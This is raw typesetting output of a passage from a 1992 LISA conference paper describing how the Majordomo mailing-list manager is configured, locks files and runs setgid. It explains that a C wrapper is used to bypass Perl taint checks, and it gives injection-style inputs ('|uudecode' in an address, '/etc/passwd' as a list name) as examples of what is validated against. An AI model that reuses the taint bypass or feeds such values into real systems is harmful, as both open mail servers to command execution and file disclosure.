X("Majordomo)s +1448 X(-Owner@$wheream)s +2048 X(i";)s +360 X +4381 Y +408 X($homedir)s +768 X(=)s +848 X("/usr/local/maj)s +1448 X(ordomo";)s +360 X +4461 Y +408 X($listdir)s +768 X(=)s +848 X("$homedir/Lists)s +1448 X(";)s +360 X +4541 Y +408 X($log)s +608 X(=)s +688 X("$homedir/Log";)s +360 X +4685 Y +1260 X +f.B 10 Z(Figure)s +1472 X(3)s +f.R 10 Z(:)s +1568 X(Sample)s +1791 X +f.CW 10 Z(/etc/majordomo)s +2351 X(.cf)s +2493 X +f.R 10 Z(\256le)s +360 X +2315 Y +504 X(I)s +563 X(needed)s +789 X(a)s +857 X(safe)s +1003 X(way)s +1152 X(for)s +1267 X(Majordomo)s +1619 X(to)s +1709 X(lock)s +360 X +2388 Y(\256les)s +498 X(while)s +673 X(editing)s +885 X(them)s +1045 X(\(adding)s +1274 X(or)s +1355 X(deleting)s +1596 X(users)s +1758 X(on)s +360 X +2461 Y(a)s +419 X(mailing)s +653 X(list,)s +782 X(or)s +866 X(changing)s +1139 X(the)s +1250 X("info")s +1441 X(\256le)s +1557 X(for)s +1664 X(a)s +1724 X(list,)s +360 X +2534 Y(for)s +505 X(instance\),)s +832 X(to)s +952 X(prevent)s +1219 X(multiple)s +1510 X(Majordomo)s +360 X +2607 Y(processes)s +645 X(from)s +803 X(tripping)s +1043 X(each)s +1195 X(other)s +1361 X(up)s +1427 X(.)s +1495 X(I)s +1546 X(was)s +1679 X(fami-)s +360 X +2680 Y(liar)s +475 X(with)s +619 X(Erik)s +759 X(Fair's)s +940 X("shlock")s +1192 X(program,)s +1458 X(which)s +1645 X(is)s +1714 X(pro-)s +360 X +2753 Y(vided)s +549 X(in)s +642 X(the)s +765 X(NNTP)s +980 X(distribution)s +1329 X(as)s +1426 X(a)s +1497 X(\256le)s +1624 X(locking)s +360 X +2826 Y(mechanism)s +708 X(for)s +828 X(use)s +960 X(in)s +1055 X(shell)s +1225 X(scripts,)s +1460 X(and)s +1599 X(knew)s +1786 X(it)s +360 X +2899 Y(would)s +552 X(provide)s +781 X(the)s +890 X(kind)s +1035 X(of)s +1117 X(locking)s +1344 X(I)s +1393 X(wanted;)s +1632 X(porting)s +360 X +2972 Y(the)s +466 X(code)s +616 X(from)s +769 X(a)s +823 X(stand)s +964 X(-alone)s +1155 X(C)s +1223 X(program)s +1472 X(to)s +1548 X(a)s +1602 X(150)s +1701 X(-line)s +360 X +3045 Y(perl)s +504 X(package)s +763 X(was)s +907 X(a)s +977 X(relatively)s +1271 X(simple)s +1490 X(matter)s +1662 X(.)s +1720 X(The)s +360 X +3118 Y(biggest)s +584 X(problem)s +837 X(I)s +890 X(encountered)s +1247 X(was)s +1381 X(that)s +1512 X(the)s +1624 X(C)s +1698 X(code)s +360 X +3191 Y(used)s +514 X("goto")s +718 X(to)s +803 X(break)s +984 X(out)s +1102 X(of)s +1190 X(nested)s +1394 X(command)s +1690 X(logic)s +360 X +3264 Y(when)s +529 X(exceptions)s +840 X(occurred;)s +1117 X(unlike)s +1309 X(some,)s +1492 X(I)s +1539 X(don't)s +1703 X(dog-)s +360 X +3337 Y(maticly)s +597 X(object)s +796 X(to)s +883 X("goto")s +1090 X(on)s +1191 X(general)s +1423 X(principles,)s +1739 X(but)s +360 X +3410 Y(this)s +481 X(particular)s +762 X(usage)s +938 X(of)s +1017 X("goto")s +1213 X(simply)s +1419 X(isn't)s +1562 X(supported)s +360 X +3483 Y(in)s +434 X(perl)s +538 X(.)s +360 X +3577 Y +504 X(Other)s +701 X(complications)s +1122 X(included)s +1397 X(addressing)s +1728 X(and)s +360 X +3650 Y(appropriate)s +689 X(case)s +830 X(sensitivity)s +1106 X(.)s +1170 X(It)s +1236 X(was)s +1365 X(slightly)s +1591 X(tricky)s +1772 X(to)s +360 X +3723 Y(get)s +475 X(all)s +576 X(the)s +691 X("To:")s +871 X(and)s +1000 X("From:")s +1250 X(addresses)s +1539 X(correct)s +1758 X(on)s +360 X +3796 Y(mail)s +523 X(generated)s +826 X(by)s +934 X(Majordomo,)s +1307 X(so)s +1408 X(that)s +1551 X(replies)s +1772 X(to)s +360 X +3869 Y(commands)s +688 X(and)s +823 X(requests)s +1081 X(for)s +1197 X(approval)s +1470 X(from)s +1639 X(Major-)s +360 X +3942 Y(domo)s +539 X(went)s +697 X(to)s +777 X(the)s +887 X(right)s +1041 X(place,)s +1228 X(and)s +1351 X(could)s +1526 X(themselves)s +360 X +4015 Y(be)s +457 X(replied)s +677 X(to)s +763 X(with)s +916 X(appropriate)s +1254 X(results)s +1429 X(.)s +1502 X(It)s +1577 X(was)s +1716 X(also)s +2016 X +448 Y(tricky)s +2195 X(to)s +2270 X(get)s +2375 X(certain)s +2581 X(things)s +2767 X(to)s +2841 X(be)s +2926 X(case)s +3064 X(sensitive)s +3321 X(\(pass-)s +2016 X +521 Y(words,)s +2234 X(for)s +2350 X(example\),)s +2655 X(and)s +2790 X(other)s +2966 X(things)s +3169 X(to)s +3261 X(be)s +3364 X(case)s +2016 X +594 Y(insensitive)s +2330 X(\(email)s +2529 X(addresses,)s +2829 X(mailing)s +3061 X(list)s +3170 X(names,)s +3384 X(and)s +2016 X +667 Y(commands,)s +2348 X(for)s +2451 X(instance\);)s +2738 X(further,)s +2962 X(some)s +3129 X(case)s +3272 X(insensi-)s +2016 X +740 Y(tive)s +2150 X(items)s +2329 X(\(such)s +2506 X(as)s +2595 X(mailing)s +2833 X(list)s +2949 X(names\))s +3175 X(need)s +3333 X(to)s +3417 X(be)s +2016 X +813 Y(smashed)s +2268 X(to)s +2342 X(lower)s +2517 X(case)s +2656 X(before)s +2849 X(use,)s +2978 X(while)s +3150 X(others)s +3336 X(\(such)s +2016 X +886 Y(as)s +2105 X(email)s +2288 X(addresses\))s +2599 X(need)s +2758 X(to)s +2843 X(be)s +2938 X(preserved)s +3229 X(in)s +3313 X(mixed)s +2016 X +959 Y(case)s +2177 X(and)s +2318 X(merely)s +2549 X(compared)s +2857 X(in)s +2955 X(a)s +3031 X(case)s +3193 X(insensitive)s +2016 X +1032 Y(manner)s +2216 X(.)s +2016 X +1126 Y +2160 X(Because)s +2408 X(it)s +2472 X(needs)s +2650 X(to)s +2728 X(edit)s +2855 X(\256les)s +2993 X(\(the)s +3123 X(mailing)s +3354 X(lists,)s +2016 X +1199 Y(the)s +2124 X("info")s +2311 X(\256les)s +2449 X(for)s +2552 X(each)s +2701 X(list,)s +2827 X(and)s +2948 X(so)s +3032 X(forth\),)s +3225 X(I)s +3272 X(decided)s +2016 X +1272 Y(that)s +2144 X(Majordomo)s +2485 X(needed)s +2701 X(to)s +2780 X(run)s +2895 X(setgid)s +3082 X(to)s +3161 X(a)s +3219 X(specially)s +3458 X(-)s +2016 X +1345 Y(created)s +2236 X(group)s +2416 X(which)s +2605 X(would)s +2796 X(have)s +2947 X(appropriate)s +3276 X(permis-)s +2016 X +1418 Y(sions)s +2181 X(on)s +2275 X(those)s +2445 X(\256les)s +2557 X(.)s +2625 X(Perl)s +2762 X(includes)s +3014 X(a)s +3073 X(nifty)s +3228 X(data\257ow)s +3458 X(-)s +2016 X +1491 Y(tracing)s +2227 X(feature)s +2438 X(\(commonly)s +2770 X(known)s +2975 X(as)s +3055 X("taintperl"\))s +3379 X(that)s +2016 X +1564 Y(is)s +2092 X(automatically)s +2489 X(activated)s +2763 X(when)s +2938 X(a)s +2999 X(perl)s +3134 X(script)s +3315 X(is)s +3392 X(run)s +2016 X +1637 Y(setuid)s +2205 X(or)s +2289 X(setgid;)s +2497 X(this)s +2623 X(feature)s +2838 X(attempts)s +3095 X(to)s +3176 X(ensure)s +3379 X(that)s +2016 X +1710 Y(the)s +2121 X(script)s +2293 X(doesn't)s +2512 X(do)s +2601 X(anything)s +2858 X("dangerous")s +3185 X(.)s +3248 X(The)s +3376 X(perl)s +2016 X +1783 Y(on)s +2082 X(-line)s +2227 X(manual)s +2446 X(page)s +2594 X(describes)s +2865 X(this)s +2984 X(feature:)s +2016 X +1856 Y +2112 X(When)s +2315 X(perl)s +2463 X(is)s +2552 X(executing)s +2856 X(a)s +2930 X(setuid)s +3135 X(script,)s +3346 X(it)s +2016 X +1929 Y +2112 X(takes)s +2277 X(special)s +2491 X(precautions)s +2826 X(to)s +2904 X(prevent)s +3130 X(you)s +3255 X(from)s +2016 X +2002 Y +2112 X(falling)s +2311 X(into)s +2439 X(any)s +2559 X(obvious)s +2793 X(traps)s +2923 X(.)s +2964 X(\(In)s +3065 X(some)s +3230 X(ways,)s +2016 X +2075 Y +2112 X(a)s +2205 X(perl)s +2372 X(script)s +2584 X(is)s +2692 X(more)s +2892 X(secure)s +3125 X(than)s +3302 X(the)s +2016 X +2148 Y +2112 X(corresponding)s +2543 X(C)s +2639 X(program)s +2864 X(.\))s +2955 X(Any)s +3121 X(command)s +2016 X +2221 Y +2112 X(line)s +2241 X(argument,)s +2538 X(environment)s +2903 X(variable,)s +3164 X(or)s +3247 X(input)s +2016 X +2294 Y +2112 X(is)s +2184 X(marked)s +2411 X(as)s +2494 X("tainted",)s +2775 X(and)s +2898 X(may)s +3041 X(not)s +3154 X(be)s +3245 X(used,)s +2016 X +2367 Y +2112 X(directly)s +2355 X(or)s +2448 X(indirectly,)s +2760 X(in)s +2850 X(any)s +2983 X(command)s +3283 X(that)s +2016 X +2440 Y +2112 X(invokes)s +2352 X(a)s +2415 X(subshell,)s +2684 X(or)s +2772 X(in)s +2857 X(any)s +2986 X(command)s +3283 X(that)s +2016 X +2513 Y +2112 X(modi\256es)s +2380 X(\256les,)s +2547 X(directories)s +2868 X(or)s +2960 X(processes)s +3216 X(.)s +3270 X(Any)s +2016 X +2586 Y +2112 X(variable)s +2358 X(that)s +2489 X(is)s +2565 X(set)s +2671 X(within)s +2873 X(an)s +2967 X(expression)s +3283 X(that)s +2016 X +2659 Y +2112 X(has)s +2227 X(previously)s +2534 X(referenced)s +2842 X(a)s +2898 X(tainted)s +3106 X(value)s +3276 X(also)s +2016 X +2732 Y +2112 X(becomes)s +2369 X(tainted)s +2575 X(\(even)s +2746 X(if)s +2810 X(it)s +2871 X(is)s +2940 X(logically)s +3199 X(impos-)s +2016 X +2805 Y +2112 X(sible)s +2279 X(for)s +2396 X(the)s +2518 X(tainted)s +2741 X(value)s +2926 X(to)s +3018 X(in\257uence)s +3302 X(the)s +2016 X +2878 Y +2112 X(variable\))s +2350 X(.)s +2016 X +2972 Y(While)s +2211 X(this)s +2339 X(is)s +2415 X(certainly)s +2681 X(a)s +2742 X(valuable)s +3000 X(feature)s +3218 X(of)s +3305 X(perl,)s +3458 X(I)s +2016 X +3045 Y(wasn't)s +2218 X(able)s +2353 X(to)s +2428 X(get)s +2533 X(Majordomo)s +2870 X(to)s +2945 X(function)s +3190 X(because)s +3425 X(of)s +2016 X +3118 Y(it)s +2054 X(.)s +2129 X(I)s +2188 X(spent)s +2366 X(many)s +2551 X(hours)s +2735 X(trying)s +2931 X(to)s +3020 X(make)s +3202 X("taintperl")s +2016 X +3191 Y(happy)s +2225 X(before)s +2442 X(I)s +2511 X(gave)s +2683 X(up)s +2795 X(and)s +2937 X(wrote)s +3135 X(a)s +3211 X(simple)s +3436 X(C)s +2016 X +3264 Y("wrapper")s +2310 X(program)s +2557 X(that)s +2680 X(sets)s +2803 X(the)s +2907 X(real)s +3030 X(UID)s +3170 X(and)s +3288 X(GID)s +3428 X(to)s +2016 X +3337 Y(the)s +2142 X(effective)s +2421 X(UID)s +2582 X(and)s +2721 X(GID)s +2882 X(before)s +3095 X(executing)s +3398 X(the)s +2016 X +3410 Y(Majordomo)s +2386 X(perl)s +2546 X(script,)s +2768 X(thus)s +2935 X(not)s +3076 X(activating)s +3398 X(the)s +2016 X +3483 Y("taintperl")s +2325 X(feature)s +2511 X(.)s +2581 X(This)s +2731 X(is)s +2807 X(almost)s +3017 X(certainly)s +3283 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +3398 X +f.R 10 Z(the)s +2016 X +3556 Y(right)s +2171 X(thing)s +2337 X(to)s +2419 X(do;)s +2534 X(at)s +2613 X(some)s +2784 X(point,)s +2968 X(I)s +3020 X(need)s +3176 X(to)s +3258 X(go)s +3354 X(back)s +2016 X +3629 Y(and)s +2139 X(\256gure)s +2321 X(out)s +2433 X(how)s +2574 X(to)s +2653 X(make)s +2825 X(Majordomo)s +3166 X(work)s +3329 X(under)s +2016 X +3702 Y("taintperl")s +2294 X(.)s +2383 X(Particularly)s +2746 X(since)s +2934 X(I'm)s +3081 X(bypassing)s +3398 X(the)s +2016 X +3775 Y("taintperl")s +2340 X(security)s +2598 X(features,)s +2873 X(Majordomo)s +3233 X(makes)s +3450 X(a)s +2016 X +3848 Y(special)s +2229 X(effort)s +2404 X(to)s +2483 X(validate)s +2723 X(user)s +2861 X(input)s +3025 X(\(email)s +3224 X(addresses)s +2016 X +3921 Y(and)s +2138 X(mailing)s +2369 X(list)s +2477 X(names,)s +2690 X(for)s +2792 X(instance\))s +3059 X(and)s +3180 X(ensure)s +3379 X(that)s +2016 X +3994 Y(it)s +2089 X(doesn't)s +2320 X(contain)s +2552 X(anything)s +2820 X(dangerous)s +3129 X(\(a)s +3217 X(command)s +360 X +4967 Y +f.B 10 Z(138)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 139 5 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(like)s +729 X(")s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z(|uudecode)s +f.R 10 Z(")s +1171 X(in)s +1251 X(an)s +1342 X(email)s +1520 X(address)s +1748 X(or)s +1830 X(an)s +1920 X(abso-)s +600 X +521 Y(lute)s +732 X(path)s +878 X(name)s +1054 X(like)s +1186 X(")s +f.CW 10 Z(/etc/passwd)s +f.R 10 Z(")s +1711 X(as)s +1798 X(a)s +1859 X(mailing)s +600 X +594 Y(list)s +706 X(name\))s +896 X(before)s +1089 X(using)s +1256 X(that)s +1380 X(input)s +1540 X(to)s +1615 X(interact)s +1840 X(with)s +1982 X(the)s +600 X +667 Y(operating)s +875 X(system)s +1084 X(\(by)s +1195 X(opening)s +1432 X(\256les)s +1567 X(by)s +1657 X(that)s +1782 X(name,)s +1968 X(and)s +600 X +740 Y(so)s +681 X(forth\))s +832 X(.)s +600 X +834 Y +744 X(The)s +871 X(title)s +1000 X(of)s +1078 X(this)s +1198 X(paper)s +1369 X(states)s +1542 X(that)s +1666 X(I)s +1711 X(don't)s +1875 X(answer)s +600 X +907 Y(")s +627 X(-request")s +905 X(mail)s +1061 X(\(that)s +1220 X(is,)s +1318 X(mail)s +1474 X(people)s +1688 X(send)s +1845 X(to)s +1932 X(")s +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +2042 X +f.R 10 Z(-)s +600 X +980 Y(request")s +845 X(with)s +989 X(requests)s +1233 X(concerning)s +1555 X +f.I 10 Z(list)s +f.R 10 Z(\))s +1660 X(.)s +1725 X(While)s +1915 X(that's)s +600 X +1053 Y(true,)s +748 X +f.I 10 Z(something)s +1049 X +f.R 10 Z(has)s +1164 X(to)s +1242 X(answer)s +1457 X(")s +1484 X(-request")s +1752 X(mail)s +1872 X(.)s +1937 X(Mail)s +600 X +1126 Y(sent)s +743 X(to)s +830 X(")s +f.I 10 Z(list)s +940 X +f.R 10 Z(-request")s +1217 X(can't)s +1386 X(simply)s +1604 X(be)s +1703 X(forwarded)s +2012 X(to)s +600 X +1199 Y(Majordomo)s +945 X(for)s +1052 X(processing,)s +1384 X(since)s +1552 X(it)s +1620 X(almost)s +1829 X(certainly)s +600 X +1272 Y(doesn't)s +836 X(contain)s +1073 X(commands)s +1402 X(that)s +1543 X(Majordomo)s +1898 X(would)s +600 X +1345 Y(understand)s +892 X(.)s +993 X(A)s +1102 X(simple)s +1342 X(little)s +1528 X(perl)s +1693 X(script)s +1903 X(called)s +600 X +1418 Y("request)s +820 X(-recording")s +1160 X(\(abbreviated)s +1531 X(as)s +1624 X("request)s +1844 X(-rec")s +2012 X(in)s +600 X +1491 Y(Figure)s +800 X(4\))s +881 X(answers)s +1122 X(the)s +1230 X(")s +1257 X(-request")s +1525 X(mail)s +1671 X(for)s +1774 X(each)s +1922 X(mail-)s +600 X +1564 Y(ing)s +719 X(list,)s +853 X(and)s +983 X(sends)s +1165 X(back)s +1325 X(a)s +1389 X(message)s +1650 X(\(customized)s +2012 X(to)s +600 X +1637 Y(the)s +725 X(list)s +850 X(in)s +944 X(question\))s +1234 X(telling)s +1448 X(the)s +1572 X(user)s +1725 X(how)s +1881 X(to)s +1975 X(use)s +600 X +1710 Y(Majordomo)s +944 X(to)s +1026 X(subscribe)s +1309 X(to)s +1392 X(the)s +1505 X(list,)s +1636 X(get)s +1749 X(information)s +600 X +1783 Y(about)s +782 X(the)s +898 X(list,)s +1032 X(or)s +1121 X(get)s +1237 X(a)s +1301 X(copy)s +1464 X(of)s +1553 X(Majordomo's)s +1949 X(help)s +600 X +1856 Y(\256le;)s +731 X(in)s +809 X(addition,)s +1071 X(instructions)s +1409 X(are)s +1517 X(provided)s +1779 X(on)s +1871 X(how)s +2012 X(to)s +600 X +1929 Y(reach)s +767 X(a)s +819 X(human)s +1022 X(being,)s +1209 X(just)s +1328 X(in)s +1402 X(case)s +1518 X(.)s +600 X +3729 Y +3120 0 l +600 X +3804 Y +648 X +f.CW 8 Z(majordomo:)s +1000 X("|/usr/local/ma)s +1480 X(jordomo/wrapper)s +1992 X(/usr/local/majo)s +2472 X(rdomo/majordomo)s +2952 X(")s +600 X +3871 Y +648 X(owner)s +808 X(-majordomo:)s +1192 X(brent)s +600 X +4005 Y +648 X(open)s +776 X(-list:)s +1000 X(:include:/usr/l)s +1480 X(ocal/majordomo/)s +1960 X(Lists/open)s +2280 X(-list)s +600 X +4072 Y +648 X(open)s +776 X(-list)s +936 X(-request:)s +1256 X("|/usr/local/ma)s +1736 X(jordomo/wrapper)s +2248 X(/usr/local/majo)s +2728 X(rdomo/request)s +3144 X(-rec)s +3304 X(open)s +3432 X(-list")s +600 X +4139 Y +648 X(open)s +776 X(-list)s +936 X(-approval:)s +1288 X(joe@foobar)s +1608 X(.com)s +600 X +4206 Y +648 X(owner)s +808 X(-open)s +968 X(-list:)s +1192 X(joe@foobar)s +1512 X(.com)s +600 X +4340 Y +648 X(closed)s +840 X(-list:)s +1064 X(:include:/usr/l)s +1544 X(ocal/majordomo/)s +2024 X(Lists/closed)s +2408 X(-list)s +600 X +4407 Y +648 X(closed)s +840 X(-list)s +1000 X(-request:)s +1320 X("|/usr/local/ma)s +1800 X(jordomo/wrapper)s +2312 X(/usr/local/majo)s +2792 X(rdomo/request)s +3208 X(-rec)s +3368 X(closed)s +3560 X(-list")s +600 X +4474 Y +648 X(closed)s +840 X(-list)s +1000 X(-approval:)s +1352 X(bob@elsewhere)s +1768 X(.edu)s +600 X +4541 Y +648 X(owner)s +808 X(-closed)s +1032 X(-list:)s +1256 X(bob@elsewhere)s +1672 X(.edu)s +600 X +4685 Y +1554 X +f.B 10 Z(Figure)s +1766 X(4)s +f.R 10 Z(:)s +1862 X(Sample)s +2085 X +f.CW 10 Z(/etc/aliases)s +2587 X +f.R 10 Z(entries)s +600 X +2056 Y +979 X +f.B 10 Z(Con\256guring)s +1345 X(Majordomo)s +600 X +2165 Y +744 X +f.R 10 Z(At)s +853 X(startup,)s +1095 X(Majordomo)s +1452 X(reads)s +1636 X(a)s +1709 X(con\256guration)s +600 X +2238 Y(\256le)s +712 X(\(as)s +816 X(speci\256ed)s +1080 X(by)s +1172 X(the)s +1280 X(")s +f.CW 10 Z(MAJORDOMO_CF)s +f.R 10 Z(")s +1839 X(environ-)s +600 X +2311 Y(ment)s +801 X(variable)s +1085 X(or)s +1208 X(on)s +1342 X(the)s +1492 X(command)s +1823 X(line,)s +2009 X(or)s +600 X +2384 Y(")s +f.CW 10 Z(/etc/majordom)s +1147 X(o)s +1187 X(.cf)s +f.R 10 Z(")s +1366 X(by)s +1464 X(default\))s +1703 X(that)s +1835 X(provides)s +600 X +2457 Y(site)s +694 X(-speci\256c)s +953 X(information,)s +1317 X(including)s +1601 X(the)s +1716 X(name)s +1894 X(of)s +1982 X(the)s +600 X +2530 Y(site,)s +737 X(who)s +877 X(mail)s +1023 X(from)s +1178 X(Majordomo)s +1518 X(should)s +1721 X(appear)s +1924 X(to)s +2001 X(be)s +600 X +2603 Y(from,)s +781 X(where)s +979 X(Majordomo's)s +1376 X(supporting)s +1695 X(programs)s +1982 X(are)s +600 X +2676 Y(located,)s +856 X(where)s +1064 X(the)s +1191 X(lists)s +1345 X(Majordomo)s +1704 X(manages)s +1982 X(are)s +600 X +2749 Y(located,)s +833 X(and)s +951 X(where)s +1136 X(Majordomo's)s +1521 X(log)s +1629 X(is)s +1697 X(located)s +1891 X(.)s +1953 X(Fig-)s +600 X +2822 Y(ure)s +712 X(3)s +772 X(shows)s +965 X(a)s +1022 X(sample)s +1239 X(Majordomo)s +1580 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +2895 Y(All)s +718 X(Majordomo)s +1032 X(-managed)s +1327 X(\256les)s +1471 X(\(the)s +1607 X(lists)s +1749 X(themselves,)s +600 X +2968 Y(and)s +724 X(the)s +834 X("info")s +1022 X(and)s +1145 X("password")s +1477 X(information)s +1819 X(for)s +1923 X(those)s +600 X +3041 Y(lists\))s +784 X(are)s +919 X(kept)s +1087 X(in)s +1192 X(a)s +1275 X(directory)s +1570 X(speci\256ed)s +1862 X(by)s +1982 X(the)s +600 X +3114 Y(")s +f.CW 10 Z($listdir)s +f.R 10 Z(")s +1031 X(variable)s +1304 X(in)s +1412 X(the)s +1550 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +3187 Y(Each)s +760 X(mailing)s +991 X(list)s +1100 X(is)s +1171 X(kept)s +1312 X(in)s +1390 X(a)s +1446 X(\256le)s +1558 X(in)s +1636 X(the)s +1744 X +f.CW 10 Z($listdir)s +600 X +3260 Y +f.R 10 Z(directory)s +865 X(that)s +990 X(is)s +1059 X(exactly)s +1277 X(the)s +1383 X(name)s +1552 X(of)s +1631 X(the)s +1736 X(mailing)s +1964 X(list)s +2047 X(.)s +600 X +3333 Y(Mailing)s +854 X(list)s +980 X(names)s +1194 X(may)s +1352 X(contain)s +1592 X(only)s +1753 X(lower)s +1948 X(case)s +600 X +3406 Y(letters,)s +810 X(numbers,)s +1084 X(")s +1111 X(-",)s +1205 X(and)s +1329 X("_")s +1416 X(.)s +1483 X(The)s +1614 X(lists)s +1750 X(Majordomo)s +600 X +3479 Y(thinks)s +789 X(it)s +853 X(manages)s +1113 X(are)s +1221 X(the)s +1329 X(\256les)s +1468 X(in)s +1547 X +f.CW 10 Z($listdir)s +1894 X +f.R 10 Z(whose)s +600 X +3552 Y(names)s +811 X(meet)s +982 X(these)s +1160 X(criteria)s +1391 X(for)s +1508 X(mailing)s +1753 X(list)s +1876 X(names)s +2047 X(.)s +600 X +3625 Y(There)s +780 X(is)s +849 X(no)s +939 X(speci\256c)s +1168 X("list)s +1302 X(of)s +1382 X(lists")s +1543 X(in)s +1620 X(a)s +1675 X(\256le)s +1786 X(anywhere;)s +2256 X +448 Y(thus,)s +2415 X(creating)s +2662 X(a)s +2723 X(new)s +2865 X(list)s +2979 X(for)s +3086 X(Majordomo)s +3430 X(to)s +3512 X(manage)s +2256 X +521 Y(merely)s +2468 X(involves)s +2720 X(creating)s +2962 X(a)s +3019 X(new)s +3157 X(\256le)s +3270 X(with)s +3416 X(appropriate)s +2256 X +594 Y(permissions)s +2607 X(in)s +2691 X +f.CW 10 Z($listdir)s +3042 X +f.R 10 Z(and)s +3169 X(creating)s +3416 X(appropriate)s +2256 X +667 Y(entries)s +2571 X(in)s +2759 X(either)s +3048 X +f.CW 10 Z(/etc/aliases)s +3665 X +f.R 10 Z(or)s +2256 X +740 Y +f.CW 10 Z(/usr/lib/alias)s +2816 X(es)s +2918 X +f.R 10 Z(to)s +2992 X(use)s +3103 X(that)s +3226 X(\256le)s +3312 X(.)s +2256 X +834 Y +2400 X(Several)s +2633 X(auxiliary)s +2903 X(\256les)s +3048 X(may)s +3196 X(be)s +3292 X(associated)s +3601 X(with)s +2256 X +907 Y(each)s +2415 X(list)s +2534 X(in)s +2622 X +f.CW 10 Z($listdir)s +2942 X +f.R 10 Z(.)s +3017 X(The)s +3157 X(password)s +3444 X(for)s +3557 X +f.I 10 Z(list)s +3675 X +f.R 10 Z(is)s +2256 X +980 Y(contained)s +2541 X(in)s +2618 X(the)s +2725 X(\256le)s +2837 X(")s +f.I 10 Z(list)s +2947 X +f.R 10 Z(.)s +f.CW 10 Z(passwd)s +f.R 10 Z(")s +3231 X(.)s +3296 X(The)s +3426 X(descriptive)s +2256 X +1053 Y(info)s +2389 X(for)s +2492 X +f.I 10 Z(list)s +2601 X +f.R 10 Z(\(which)s +2812 X(will)s +2943 X(be)s +3031 X(returned)s +3278 X(in)s +3355 X(response)s +3613 X(to)s +3690 X(a)s +2256 X +1126 Y("info)s +2446 X +f.I 10 Z(list)s +f.R 10 Z(")s +2612 X(or)s +2723 X("subscribe)s +3058 X +f.I 10 Z(list)s +f.R 10 Z(")s +3224 X(command\))s +3566 X(is)s +3668 X(in)s +2256 X +1199 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(info)s +f.R 10 Z(")s +2570 X(.)s +2680 X(The)s +2855 X(existence)s +3176 X(of)s +3302 X(a)s +3403 X(\256le)s +3559 X(called)s +2256 X +1272 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(closed)s +f.R 10 Z(")s +2685 X(indicates)s +2959 X(that)s +3095 X +f.I 10 Z(list)s +3213 X +f.R 10 Z(is)s +3293 X(a)s +3359 X("closed")s +3620 X(list,)s +2256 X +1345 Y(and)s +2409 X(that)s +2567 X(all)s +2692 X("subscribe)s +3028 X +f.I 10 Z(list)s +f.R 10 Z(")s +3195 X(requests)s +3471 X(must)s +3657 X(be)s +2256 X +1418 Y(approved)s +2529 X(by)s +2622 X(the)s +2731 X(list)s +2841 X(owner)s +3007 X(.)s +3073 X(Note)s +3230 X(that)s +3358 X(the)s +3467 X(names)s +3665 X(of)s +2256 X +1491 Y(these)s +2428 X(auxiliary)s +2699 X(\256les)s +2844 X(are)s +2959 X(invalid)s +3178 X(mailing)s +3416 X(list)s +3532 X(names,)s +2256 X +1564 Y(because)s +2502 X(they)s +2651 X(contain)s +2883 X(a)s +2948 X(")s +2975 X(.";)s +3073 X(that's)s +3257 X(how)s +3406 X(Majordomo)s +2256 X +1637 Y(differentiates)s +2636 X(the)s +2744 X(mailing)s +2975 X(list)s +3084 X(\256les)s +3221 X(from)s +3375 X(the)s +3482 X(auxiliary)s +2256 X +1710 Y(\256les)s +2368 X(.)s +2256 X +1804 Y +2400 X(Majordomo)s +2821 X(is)s +2973 X(closely)s +3270 X(tied)s +3478 X(to)s +3638 X(the)s +2256 X +1877 Y +f.CW 10 Z(/etc/aliases)s +2765 X +f.R 10 Z(or)s +2849 X +f.CW 10 Z(/usr/lib/aliase)s +3449 X(s)s +3518 X +f.R 10 Z(\256le)s +3604 X(.)s +3672 X(A)s +2256 X +1950 Y(number)s +2494 X(of)s +2584 X(aliases)s +2799 X(are)s +2917 X(required)s +3175 X(for)s +3288 X(the)s +3406 X(Majordomo)s +2256 X +2023 Y(server)s +2443 X(itself,)s +2619 X(as)s +2699 X(well)s +2839 X(as)s +2918 X(for)s +3018 X(each)s +3164 X(of)s +3242 X(the)s +3347 X(lists)s +3479 X(managed)s +2256 X +2096 Y(by)s +2354 X(Majordomo)s +2668 X(.)s +2739 X(Figure)s +2945 X(4)s +3010 X(shows)s +3208 X(sample)s +3431 X(entries)s +3643 X(for)s +2256 X +2169 Y(the)s +2362 X +f.CW 10 Z(/etc/aliases)s +2866 X +f.R 10 Z(\256le)s +2976 X(on)s +3065 X(a)s +3118 X(machine)s +3368 X(using)s +3535 X(Major-)s +2256 X +2242 Y(domo)s +2434 X(to)s +2513 X(run)s +2628 X(two)s +2755 X(lists)s +2891 X(\("open)s +3069 X(-list")s +3228 X(and)s +3351 X("closed)s +3549 X(-list"\))s +3703 X(.)s +2256 X +2315 Y(The)s +2386 X(")s +2413 X(-approval")s +2721 X(alias)s +2871 X(is)s +2941 X(where)s +3129 X(Majordomo)s +3468 X(will)s +3598 X(send)s +2256 X +2388 Y(requests)s +2509 X(for)s +2620 X(approval)s +2887 X(for)s +2999 X(actions)s +3224 X(concerning)s +3555 X(a)s +3620 X(list)s +3703 X(.)s +2256 X +2461 Y(The)s +2384 X("owner)s +2577 X(-")s +2650 X(alias)s +2798 X(is)s +2867 X(not)s +2976 X(used)s +3122 X(by)s +3212 X(Majordomo,)s +3567 X(but)s +3675 X(is)s +2256 X +2534 Y(used)s +2408 X(by)s +2504 X(Sendmail)s +2787 X(to)s +2869 X(notify)s +3058 X(the)s +3171 X(owner)s +3368 X(of)s +3454 X(a)s 